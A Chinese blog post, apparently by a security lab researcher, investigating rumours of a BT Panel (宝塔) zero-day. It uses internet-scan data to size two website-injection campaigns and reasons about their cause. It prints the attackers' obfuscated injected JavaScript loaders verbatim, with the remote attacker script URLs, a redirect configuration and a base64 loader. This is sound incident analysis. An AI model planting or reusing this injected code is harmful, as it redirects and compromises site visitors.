注:先说结论我不知道是不是存在0day,如果你是奔着0day来的可以直接划走了!
这段时间大家都很忙,郭襄在纠结要不要等杨过,杨过想着我啥时候能成为老父亲杨康!事实证明再热的事件也比不过自己体温热不热来的重要,当然还一部分人忙着各种调戏ChatGPT,所以我们这次聊聊想对不那么热的“宝塔0day事件”!
关于宝塔“0day”事件
大概在12月8日在公众号、朋友圈等传宝塔疑似0day导致大面积入侵,随即12月9日官方就发布了辟谣公告:https://www.bt.cn/bbs/thread-105121-1-1.html 大体意思总结如下:
1、官方2天的紧急排查,没有发现相关0day漏洞
2、确实存在少部分挂马,主要分布在境外服务器
3、中招的特征:
* Nginx主程序被篡改
* 网站主页被植入了恶意js(关键词包含_0xd4d9 或 _0x2551 或 _0xb2ce 关键词)
* 相关日志被清空
同时官方也给出了一个自查的脚本:
curl -sSO -k https://download.bt.cn/tools/w_check.py && btpython w_check.py && rm -rf w_check.py
从w_check.py的代码来看就判断是不是存在相关文件
import os
list1 = ['/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av','/var/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/var/tmp/count','/var/tmp/count.txt','/var/tmp/backkk','/var/tmp/msglog.txt']
sum = 0
for i in list1:
if os.path.exists(i):
sum += 1
print("检测到异常木马文件:",i)
if sum == 0: print("没有检测到异常木马文件!")
知道创宇404实验室团队应急
在12月9日上午开始留意到这个信息,简单通过ZoomEye搜索下 "\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73" 发现有少许的中招目标,通过简单测试发现直接通过CURL访问网站是看不到被植入的恶意js代码的,用浏览器可以。由此判断应该是在服务端做了判断,简单排查下发现提交
-H 'accept: text/html,application/xhtml+xml,application/xml'
头就能看到被植入的js 如
curl 'https://xx.xxx.top/' -H 'accept: text/html,application/xhtml+xml,application/xml'
<script type="67fdb633c17d91e2e54e3dd6-text/javascript">var _0xd4d9=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x2E\x6D\x73\x73\x74\x61\x74\x69\x63\x2E\x6E\x65\x74\x2F\x6D\x61\x69\x6E\x33\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x73\x73\x65\x74\x73\x2F\x74\x65\x6D\x70\x6C\x61\x74\x65\x2F\x68\x65\x61\x64\x2F\x61\x64\x2E\x74\x6D\x70\x6C\x5F\x61\x39\x62\x37\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x64d8x2,_0x64d8x3,_0x64d8x4){var _0x64d8x5= new Date();_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]()+ _0x64d8x4);document[_0xd4d9[2]]= _0x64d8x2+ _0xd4d9[3]+ _0x64d8x3+ _0xd4d9[4]+ _0x64d8x5[_0xd4d9[5]]()}setc(_0xd4d9[6],_0xd4d9[7],360);document[_0xd4d9[9]](unescape(_0xd4d9[8]));</script><html>
<head>
....
由于大部分ZoomEye的探针是不直接要求使用特定头的,因为这个影响效率。所以开始看到的数据不太多,紧急部署了新探针进行探测,到目前为止可以找到5000+的目标中招,如下图:
从侧栏来看大部分集中在网站域名,ipv4比较少。从国家分布来看主要是在美国,中国(其中中国基本是在中国香港),所以这个符合官方公告里的受影响在“境外服务器”的描叙。我们继续通过聚合查询能不能看到一些东西,从“Web容器”分布来看确实是在Nginx
当然也看到了6个其他的考虑修改或者误报导致,这个可以基本符合描述存在于恶意修改Nginx导致的js代码植入。再从“Web应用” 如下图:
可以看出web应用没有“集中分布”的表现,这就说明我们基本可以排除是某Web应用的0day导致的本次事件!这个结论对我们整个调查追踪工作是非常重要的!
还有一些其他的因素聚类也比较有意思,比如title 如下图:
虽然看起来有部分集中分布的表现跟上面“web应用”分析感觉对不上,其实你认真看就会发现这些看起来比较集中的应该属于同一个组织或者管理所有是相关,跟对应的应用无关!这个结论其实也挺重要的,这个说明这次事件影响的目标可能是集中影响在网站管理风格或者习惯或者时段上!
接下来我们又对被植入的js做了一些分析,通过ZoomEye搜索
"\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73" +"function setc" -"var _0xb2ce" -"var _0xd4d9" -"var _0x2551"
的结果来看,没有找到其他的恶意js变量,这个跟官方的描述是符合的
对应的恶意js代码:
<script>var _0x2551=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x65\x74\x61\x6D\x61\x72\x6B\x65\x74\x2E\x71\x75\x65\x73\x74\x2F\x6D\x61\x72\x6B\x65\x74\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x7338x2,_0x7338x3,_0x7338x4){var _0x7338x5= new Date();_0x7338x5[_0x2551[1]](_0x7338x5[_0x2551[0]]()+ _0x7338x4);document[_0x2551[2]]= _0x7338x2+ _0x2551[3]+ _0x7338x3+ _0x2551[4]+ _0x7338x5[_0x2551[5]]()}setc(_0x2551[6],_0x2551[7],360);document[_0x2551[9]](unescape(_0x2551[8]));</script><html>
对应的是引入远程js
"%3Cscript src='https://www.metamarket.quest/market.js'%3E%3C/script%3E"
<script>var _0xd4d9=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x2E\x6D\x73\x73\x74\x61\x74\x69\x63\x2E\x6E\x65\x74\x2F\x6D\x61\x69\x6E\x33\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x73\x73\x65\x74\x73\x2F\x74\x65\x6D\x70\x6C\x61\x74\x65\x2F\x68\x65\x61\x64\x2F\x61\x64\x2E\x74\x6D\x70\x6C\x5F\x61\x39\x62\x37\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x64d8x2,_0x64d8x3,_0x64d8x4){var _0x64d8x5= new Date();_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]()+ _0x64d8x4);document[_0xd4d9[2]]= _0x64d8x2+ _0xd4d9[3]+ _0x64d8x3+ _0xd4d9[4]+ _0x64d8x5[_0xd4d9[5]]()}setc(_0xd4d9[6],_0xd4d9[7],360);document[_0xd4d9[9]](unescape(_0xd4d9[8]));</script><html>
对应引入的远程js
"%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3E"
<script>var _0xb2ce=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2D\x67\x6F\x2E\x6E\x65\x74\x2F\x76\x61\x73\x64\x65\x76\x2F\x77\x65\x62\x5F\x77\x65\x62\x70\x65\x72\x73\x69\x73\x74\x61\x6E\x63\x65\x5F\x76\x32\x2F\x76\x31\x2E\x38\x2E\x32\x2F\x66\x6C\x6F\x67\x2E\x63\x6F\x72\x65\x2E\x6D\x69\x6E\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x808ax2,_0x808ax3,_0x808ax4){var _0x808ax5= new Date();_0x808ax5[_0xb2ce[1]](_0x808ax5[_0xb2ce[0]]()+ _0x808ax4);document[_0xb2ce[2]]= _0x808ax2+ _0xb2ce[3]+ _0x808ax3+ _0xb2ce[4]+ _0x808ax5[_0xb2ce[5]]()}setc(_0xb2ce[6],_0xb2ce[7],360);document[_0xb2ce[9]](unescape(_0xb2ce[8]));</script><html>
对应引入的远程js
"%3Cscript src='https://cdn-go.net/vasdev/web_webpersistance_v2/v1.8.2/flog.core.min.js'%3E%3C/script%3E"
这三个远程js都是经过混淆,通过我们404小伙的反混淆(顺带提一句当时我尝试用ChatGPT帮忙,结果目前还是不支持,所以我只能继续让我们404专家再次面向我继续反混淆了)后发现,
_0x2551 https://www.metamarket.quest/market.js
_0xd4d9 https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js
得到的关键代码是一样的:
var component = {
'config': {
'srcAddress': "https://stat.51sdk.org/" + randomString(16),
'downloadSrc': "http://googleplay.com/chrome.apk",
'androidApk': false,
'probability': 0
},
最终通过判断一些Cookie后转跳到srcAddress:
window["location"]["replace"](_0x28a504["config"]["srcAddress"]);
再看看:
_0xb2ce https://cdn-go.net/vasdev/web_webpersistance_v2/v1.8.2/flog.core.min.js
var component = {
'config': {
'srcAddress': "https://widget-v4.tidiochat.net/1_131_0/static/js/chunk-WidgetIframe-" + randomString(16) + ".js",
'downloadSrc': "http://googleplay.com/chrome.apk",
'androidApk': false,
'probability': 0
},
虽然_0xb2ce的srcAddress是不相同,但是最终srcAddress通过再次的转跳看上去不一样的“随机域名”,但是具有相同的html内容,title均为
<title>Alibb影视</title>
我们再看看ZoomEye最开始探测到的时间,这里可以提一下大家可以通过before多次尝试去看最早的时间
_0xd4d9 2022-12-05
_0x2551 2022-12-08
_0xb2ce 2022-12-10
所以该事件发生的时间可以最早可以到2022-12-05,从上面srcAddress不一样,可以推断_0xd4d9 _0x2551应该是最早的尝试,随后修改为_0xb2ce方式,从ZoomEye查询到的各个关键词的总量分布可以说明这点:
var _0xb2ce 4,140
var _0xd4d9 945
var _0x2551 101
最后还有被篡改的Nginx的样本分析,我们正准备做这个工作的时候,发现网上已经有人做过了:https://www.esw.ink/5574.html 其实用简单的Strings基本就可以看到了
cat nginx | strings |grep "tmp"
...
/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av
/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av
/var/tmp/count
/var/tmp/count.txt
/var/tmp/backkk
/var/tmp/msglog.txt
...
这些文件就是官方给w_check.py自查的那些文件,其中/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av的代码就是网页里被植入的js
cat systemd-private-56d86f7d8382402517f3b5-jP37av
var _0xb2ce=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2D\x67\x6F\x2E\x6E\x65\x74\x2F\x76\x61\x73\x64\x65\x76\x2F\x77\x65\x62\x5F\x77\x65\x62\x70\x65\x72\x73\x69\x73\x74\x61\x6E\x63\x65\x5F\x76\x32\x2F\x76\x31\x2E\x38\x2E\x32\x2F\x66\x6C\x6F\x67\x2E\x63\x6F\x72\x65\x2E\x6D\x69\x6E\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x808ax2,_0x808ax3,_0x808ax4){var _0x808ax5= new Date();_0x808ax5[_0xb2ce[1]](_0x808ax5[_0xb2ce[0]]()+ _0x808ax4);document[_0xb2ce[2]]= _0x808ax2+ _0xb2ce[3]+ _0x808ax3+ _0xb2ce[4]+ _0x808ax5[_0xb2ce[5]]()}setc(_0xb2ce[6],_0xb2ce[7],360);document[_0xb2ce[9]](unescape(_0xb2ce[8]));
我们小结一下上面的分析:
1、有规模的“挂马”事件确实存在[注意我这里是用的“有规模”],受害者主要分布在境外服务器,最早发生的时间可以到 2022-12-05 。
2、攻击者通过篡改宝塔里的Nginx,所以这点说明攻击者拥有比较高的控制权,实现中招网站被植入恶意html/js代码,恶意代码需要某些特定http头设定才触发,恶意代码大体有三种混淆写法,分两次或者三次部署,最终实现跳转引流到某视频网站上。
3、基本排除是其他某通用网站建设Web应用的0day导致,因为在时间比较相近的时候出现ThinkPHP多语言模版的文件包含漏洞。
到这里实际上我们还是没搞清楚攻击者是怎么实现攻击的,那么是不是存在传闻中的宝塔控制台的0day呢?我们做了很多尝试比如联系受害者想从服务器上得到更多的信息,也关注官方论坛里的各种反馈,没有得到进一步的信息,所以我们只能基于上面的分析做进一步的推断:
1、相比“宝塔”的量ZoomEye的估计宝塔控制台的指纹统计数据为:找到约 3,111,670 条结果 (最近一年数据:94,429 条) 所以及时是从2022年的数据来看也是10w级别的,所以目前5000多影响(当然还有很多可能已经恢复了)但是量级上还是有非常大的差距的,所以从这点不太支持宝塔“0day”的说法。
2、通过“宝塔”服务器弱口令等因素控制服务器后进行批量部署挂马,从这个量级来开是有可能的,只是可惜缺少受害者的攻击日志分析,这里需要强调的一点很多人可能很主观的认为攻击目标跟在目标上部署挂马是同一时候发生的事情,而忽视了可能是先“抓鸡”,后“挂马”的套路,设置有的时候还存在不同组织及人干的事情,所以我们在分析某些事件的时候不要先入为主,需要跟多的各种因素的考虑。
3、其他局部攻击,比如供应链相关因素,这点可能很多人觉得奇怪,如果是供应链可能出现比0day还要广泛的攻击,而且从上面的分析主要是集中在海外:(美国及中国香港)我们再看看宝塔的控制台的一些安装包代码如:
.//install/public.sh
#!/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
pyenv_bin=/www/server/panel/pyenv/bin
rep_path=${pyenv_bin}:$PATH
if [ -d "$pyenv_bin" ];then
PATH=$rep_path
fi
export PATH
export LANG=en_US.UTF-8
export LANGUAGE=en_US:en
get_node_url(){
NODE_URL='https://node.aapanel.com';
#nodes=(http://dg2.bt.cn http://dg1.bt.cn http://36.133.1.8:5880 http://123.129.198.197 http://38.34.185.130 http://116.213.43.206:5880 http://128.1.164.196);
...
所有的安装文件是基于node.aapanel.com,从下面的注释掉的代码,当然你也可以通过切换网络ping一下,你会发现不同地区是会解析到不同的节点的,所以这些节点的安全也是非常值得关注的,我们假设这个节点被控是不是也可以实现本次事件呢?当然这个只是推断,目前没有任何实际证据!
宝塔其他事件
我们在追踪上面事件的时候,在bt论坛里有个用户的反馈引起我的注意:https://www.bt.cn/bbs/thread-105558-1-1.html
这个显示是前天12.15日的反馈,而且植入的html/js代码完全不一样:
<script>(function() {var hm = document.createElement("script");hm.src = atob("aHR0cHM6Ly9jZG4uYm9vdHNjZG4ub3JnL2FqYXgvbGlicy9qcXVlcnkvMy42LjEvanF1ZXJ5Lmpz");var s = document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm, s);})();</script>
这个对应的远程js地址为
'https://cdn.bootscdn.org/ajax/libs/jquery/3.6.1/jquery.js'
可惜直接访问,已经没有看到恶意代码了,可能是有啥判断比如refer啥的
所以我们直接老套路果断的ZoomEye搜索:aHR0cHM6Ly9jZG4uYm9vdHNjZG4ub3JnL2FqYXgvbGlicy9qcXVlcnkvMy42LjEvanF1ZXJ5Lmpz 如下图:
找到约 6,234 条结果 (最近一年数据:6,234 条),由此看出这也是一次有规模的攻击事件,然后找了一个目标CURL访问下,不需要什么特别的http头就能看到恶意代码,然后通过浏览器访问触发
https://cdn.bootscdn.org/ajax/libs/jquery/3.6.1/jquery.js
也没看到有实际作用的攻击行为,由此可以判断这个js已经目前被抛弃下线了,通过上面类似套路发现这次跟上面事件的一些区别:
1、中招的主要是IPv4目标,而上文“0day”事件是网站域名为主
2、ZoomEeye抓到最早事件发生在2022-11-25
3、分布主要集中在中国香港及美国,通用是境外
4、聚类WEB组件主要是nginx,有10个为Tengine在 888端口 这个应该也是宝塔的Tengine模板
5、聚类WEB应用也没有非常集中的表现,最多的为wordpress(12个)
6、title聚类有比较集中的表现:title:"404 Not Found" 有2634条
没有找到其他有用信息,从上面的行为来看,不排除前后两次挂恶意代码事件为同一批人所为,都是比较通用挂马方式,可能选用的篡改点以404等页面为主,虽然这次2次代码加密混淆方式不一样,但是我更加趋向是“进化”,当然这次入侵方式还是有一些不一样的,比如一个域名居多一个IP居多,因为我对这个宝塔业务不是很熟悉,可能需要结合业务比较好分析。
总体给我的感觉是挂马方式在“进化”,但是我必须强调一下的是,通过ZoomEye搜索前后两次事件感染的目标不存在重复
这个不符合是同一组织的逻辑,当然也可能存在攻击者掌握的资产权限相关,比如上面推断的node.aapanel.com节点被控制,攻击者不能完全控制中招目标,只能等某个时间触发访问部署才能中招等因素相关!
最后
正如我在《网络空间测绘技术与应用》一书的前言里说的:“格局决定一切!” 网络空间测绘本质是“获取更多数据”及“赋予数据灵魂”,这一切取决于使用者的视角!看见还没呕看见的,看清我们已经看见的!《网络空间测绘技术与应用》当当、京东、淘宝个大平台有售!
顺便提一下:非常感谢大家的捧场,只是这本书我们还是比较仓促的,有很多都是点到为止!如果对这块真有兴趣的,建议多看看我们之前写的一些文章及报告,多扩展阅读实践!当然也可以随时联系我!